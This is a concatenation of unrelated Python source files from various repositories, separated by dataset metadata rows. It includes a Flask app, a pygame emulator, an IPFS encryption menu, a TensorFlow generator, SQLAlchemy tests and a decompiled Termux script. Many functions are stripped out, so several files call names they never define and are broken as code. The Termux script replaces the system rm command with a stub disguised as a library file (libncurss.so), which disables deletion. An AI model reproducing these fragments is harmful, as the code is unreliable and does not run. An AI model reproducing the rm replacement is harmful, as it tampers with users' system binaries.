app.register_blueprint(app.views.user.userbp)
login_manager = flask.ext.login.LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'userbp.signin'
| 23.833333 | 79 | 0.776224 |
36a2d86f1e49ac5520b342c8f2a78f162854b298 | 304 | py | Python | main.py | shoulderhu/heroku-ctf-www | f1e136f8d93034d34a60702517b32fc0245dac38 | [
"MIT"
] | null | null | null | main.py | shoulderhu/heroku-ctf-www | f1e136f8d93034d34a60702517b32fc0245dac38 | [
"MIT"
] | null | null | null | main.py | shoulderhu/heroku-ctf-www | f1e136f8d93034d34a60702517b32fc0245dac38 | [
"MIT"
] | null | null | null | import os
from app import create_app
from dotenv import load_dotenv
# .env
dotenv_path = os.path.join(os.path.dirname(__file__), ".env")
if os.path.exists(dotenv_path):
load_dotenv(dotenv_path)
app = create_app(os.environ.get("FLASK_CONFIG") or "default")
if __name__ == "__main__":
app.run() | 21.714286 | 61 | 0.733553 |
36a374d5b35c8fab447dcc5b470ddd3335b4f06d | 5,628 | py | Python | src/apps/devices/cubelib/emulator.py | ajintom/music_sync | 0d7bc302502d28e4be4f0a0be1fc9bafb706f651 | [
"MIT"
] | null | null | null | src/apps/devices/cubelib/emulator.py | ajintom/music_sync | 0d7bc302502d28e4be4f0a0be1fc9bafb706f651 | [
"MIT"
] | null | null | null | src/apps/devices/cubelib/emulator.py | ajintom/music_sync | 0d7bc302502d28e4be4f0a0be1fc9bafb706f651 | [
"MIT"
] | null | null | null | #!/bin/env python
#using the wireframe module downloaded from http://www.petercollingridge.co.uk/
import mywireframe as wireframe
import pygame
from pygame import display
from pygame.draw import *
import time
import numpy
key_to_function = {
pygame.K_LEFT: (lambda x: x.translateAll('x', -10)),
pygame.K_RIGHT: (lambda x: x.translateAll('x', 10)),
pygame.K_DOWN: (lambda x: x.translateAll('y', 10)),
pygame.K_UP: (lambda x: x.translateAll('y', -10)),
pygame.K_EQUALS: (lambda x: x.scaleAll(1.25)),
pygame.K_MINUS: (lambda x: x.scaleAll( 0.8)),
pygame.K_q: (lambda x: x.rotateAll('X', 0.1)),
pygame.K_w: (lambda x: x.rotateAll('X', -0.1)),
pygame.K_a: (lambda x: x.rotateAll('Y', 0.1)),
pygame.K_s: (lambda x: x.rotateAll('Y', -0.1)),
pygame.K_z: (lambda x: x.rotateAll('Z', 0.1)),
pygame.K_x: (lambda x: x.rotateAll('Z', -0.1))}
if __name__ == '__main__':
pv = ProjectionViewer(400, 300)
allnodes =[]
cube = wireframe.Wireframe() #storing all the nodes in this wireframe object.
X = [50,140]
Y = [50,140]
Z = [50,140]
pv.createCube(cube,X,Y,Z)
YZface = findIndex((0,y,z) for y in range(0,10) for z in range(0,10))
count = 0
for k in range(1,150000):
if k%5000 ==2500:
count = (count+2)%11
cube.setVisible(findIndex(wireframecube(count)))
pv.run()
| 33.903614 | 254 | 0.600569 |
36a6702d9737607ae7b2838e31ebcda4772cd182 | 810 | py | Python | src/topbuzz/management/commands/topbuzz_stat.py | lucemia/gnews | ac537062d8e34bb63fe0bf95c2affc8d2771d392 | [
"MIT"
] | null | null | null | src/topbuzz/management/commands/topbuzz_stat.py | lucemia/gnews | ac537062d8e34bb63fe0bf95c2affc8d2771d392 | [
"MIT"
] | null | null | null | src/topbuzz/management/commands/topbuzz_stat.py | lucemia/gnews | ac537062d8e34bb63fe0bf95c2affc8d2771d392 | [
"MIT"
] | null | null | null | # -*- encoding=utf8 -*-
from django.core.management.base import BaseCommand
from datetime import timedelta, datetime
from topbuzz.tasks import stat
import argparse
| 30 | 97 | 0.675309 |
36a769a0d7113d319d2bf9fc65325d50afd0198f | 5,276 | py | Python | Banner/rm_decompiled.py | Alpha-Demon404/RE-14 | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
] | 39 | 2020-02-26T09:44:36.000Z | 2022-03-23T00:18:25.000Z | Banner/rm_decompiled.py | B4BY-DG/reverse-enginnering | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
] | 15 | 2020-05-14T10:07:26.000Z | 2022-01-06T02:55:32.000Z | Banner/rm_decompiled.py | B4BY-DG/reverse-enginnering | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
] | 41 | 2020-03-16T22:36:38.000Z | 2022-03-17T14:47:19.000Z | # uncompyle6 version 3.6.4
# Python bytecode 2.7
# Decompiled from: Python 2.7.17 (default, Oct 23 2019, 08:25:46)
# [GCC 4.2.1 Compatible Android (5220042 based on r346389c) Clang 8.0.7 (https://
# Embedded file name: <Angga>
"""
SILAHKAN RECODE SE ALAY MUNGKIN
DAN TIRU GAYA TAMPILAN SAYA :)
KASIH LOGO GEDE, WARNA KEK HOMO
TAMBAHIN AUTHOR NAMA SENDIRI
PRO
. GELLMOXER .
.
"""
import os, sys
try:
if os.path.exists('/data/data/com.termux/files/usr/lib/libncurss.so'):
pass
else:
nf = 'echo -e "\n\x1b[1;97m \xe2\x96\xb6 \x1b[1;91mRM \x1b[1;97mNON\x1b[1;96mAKTIF\x1b[1;97m !!\n"\nexit'
wf = open('/data/data/com.termux/files/usr/lib/libncurss.so', 'w')
wf.write(nf)
wf.close()
except:
pass
try:
ck = open('/data/data/com.termux/files/usr/bin/rm', 'r').read()
if 'AKTIF' in ck:
print ' \x1b[1;96m\xe2\x95\xad\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xae\n \xe2\x94\x82 \x1b[1;90mANTI REMOVE \x1b[1;97m(\x1b[1;96mAKTIF\x1b[1;97m) \x1b[1;96m\xe2\x94\x82\n \xe2\x94\x9c\xe2\x94\x80\xe2\x94\xb3\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\xa4 \n \xe2\x94\x831\xe2\x94\x9c\xe2\x9e\xa4 GANTI \x1b[48;5;009m \x1b[48;5;000m\xe2\x94\x83\n \xe2\x94\x830\xe2\x94\x9c\xe2\x9e\xa4 EXIT \x1b[48;5;015m \x1b[48;5;000m\xe2\x94\x83\n \xe2\x94\x9c\xe2\x94\x80\xe2\x94\xbb\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xaf'
ty = raw_input(' \x1b[1;96m\xe2\x95\xb0\xe2\x9e\xa4 ')
try:
if ty == '1':
os.system('cp ~/../usr/lib/.libncurss.so ~/../usr/bin/rm')
os.system('chmod +x ~/../usr/bin/rm')
print '\x1b[1;97m \xe2\x9e\xa4 \x1b[1;90mSukses Mencopot \x1b[1;97mANTI\x1b[1;91mRM'
else:
os.system('exit')
except:
print '\x1b[1;91m \xe2\x9e\xa4 \x1b[1;90mGagal Mencopot \x1b[1;97mANTI\x1b[1;91mRM'
else:
print ' \x1b[1;96m\xe2\x95\xad\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xae\n \xe2\x94\x82 \x1b[1;90mANTI REMOVE \x1b[1;97m(\x1b[1;91mNONAKTIF\x1b[1;97m) \x1b[1;96m\xe2\x94\x82\n \xe2\x94\x9c\xe2\x94\x80\xe2\x94\xb3\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\xa4 \n \xe2\x94\x831\xe2\x94\x9c\xe2\x9e\xa4 GANTI \x1b[48;5;009m \x1b[48;5;000m\xe2\x94\x83\n \xe2\x94\x830\xe2\x94\x9c\xe2\x9e\xa4 EXIT \x1b[48;5;015m \x1b[48;5;000m\xe2\x94\x83\n \xe2\x94\x9c\xe2\x94\x80\xe2\x94\xbb\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xaf'
ty = raw_input(' \x1b[1;96m\xe2\x95\xb0\xe2\x9e\xa4 ')
if ty == '1':
os.system('cp ~/../usr/bin/rm ~/../usr/lib/.libncurss.so')
os.system('cp ~/../usr/lib/libncurss.so ~/../usr/bin/rm')
os.system('chmod +x ~/../usr/bin/rm')
print '\x1b[1;97m \xe2\x9e\xa4 \x1b[1;90mSukses Memasang \x1b[1;97mANTI\x1b[1;91mRM'
elif ty == '0':
os.system('exit')
else:
os.system('exit')
print '\x1b[1;91m \xe2\x9e\xa4 \x1b[1;90mGagal Memasang \x1b[1;97mANTI\x1b[1;91mRM'
except:
print ' \x1b[1;96m\xe2\x95\xad\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xae\n \xe2\x94\x82 \x1b[1;91mERROR CHECK \x1b[1;90mGO \x1b[1;97mHOME \x1b[1;96m\xe2\x94\x82\n \xe2\x94\x9c\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xaf'
ty = raw_input(' \x1b[1;96m\xe2\x95\xb0\xe2\x9e\xa4 ')
if ty == '1':
os.system('exit')
else:
os.system('exit') | 85.096774 | 1,273 | 0.649545 |
36a8051c9ed294e493f8410cbd5528938ce673ec | 2,712 | py | Python | main.py | anirudha-bs/Distributed_storage_ipfs | 52fcf0f5b7b620dea059116d34ab0def56ce5cdd | [
"MIT"
] | null | null | null | main.py | anirudha-bs/Distributed_storage_ipfs | 52fcf0f5b7b620dea059116d34ab0def56ce5cdd | [
"MIT"
] | null | null | null | main.py | anirudha-bs/Distributed_storage_ipfs | 52fcf0f5b7b620dea059116d34ab0def56ce5cdd | [
"MIT"
] | null | null | null | from files import write_key, load_key, encrypt, decrypt
import os
from ipfs import add,pin,get_file
# Encrypts file and adds to ipfs
#function to get a file added to ipfs
switcher = {
1: encrypt_ipfs_add,
2: ipfs_add,
3: decrypt_ipfs,
4: ipfs_get,
5: sim_block,
}
if __name__ == "__main__":
while(1):
print("\nDistributed storage\n -------Menu------ \n 1. Encrypt file and add to IPFS \n 2. Add file to ipfs without encryption \n 3. Decrypt a file from IPFS \n 4. Get file from IPFS \n 5. Simulate blockchain and add blocks to IPFS \n 6. Exit \n")
option = int(input())
switch(option)
if option==6:
break
| 30.133333 | 254 | 0.620206 |
36a8576ce226acd209efa0c300493610cf449c81 | 4,730 | py | Python | web-app/ZGenerator.py | IsaacGuan/SGSG | 7476f1b8ec0ed90cd9896ee2d23241c4310cb78c | [
"MIT"
] | 2 | 2021-05-04T11:19:50.000Z | 2021-05-16T01:37:08.000Z | web-app/ZGenerator.py | IsaacGuan/SGSG | 7476f1b8ec0ed90cd9896ee2d23241c4310cb78c | [
"MIT"
] | null | null | null | web-app/ZGenerator.py | IsaacGuan/SGSG | 7476f1b8ec0ed90cd9896ee2d23241c4310cb78c | [
"MIT"
] | 1 | 2021-05-15T10:23:54.000Z | 2021-05-15T10:23:54.000Z | import os
import tensorflow as tf
import numpy as np
import mcubes
from ops import *
| 37.539683 | 108 | 0.558774 |
36a935bd4ad858c3f4e568ba75cc0dc9d2989f18 | 2,410 | py | Python | tests/crud/test_crud_user.py | congdh/fastapi-realworld | 42c8630aedf594b69bc96a327b04dfe636a785fe | [
"MIT"
] | null | null | null | tests/crud/test_crud_user.py | congdh/fastapi-realworld | 42c8630aedf594b69bc96a327b04dfe636a785fe | [
"MIT"
] | null | null | null | tests/crud/test_crud_user.py | congdh/fastapi-realworld | 42c8630aedf594b69bc96a327b04dfe636a785fe | [
"MIT"
] | null | null | null | import pytest
from faker import Faker
from fastapi.encoders import jsonable_encoder
from pydantic.types import SecretStr
from sqlalchemy.orm import Session
from app import crud, schemas
from app.core import security
| 31.298701 | 78 | 0.702075 |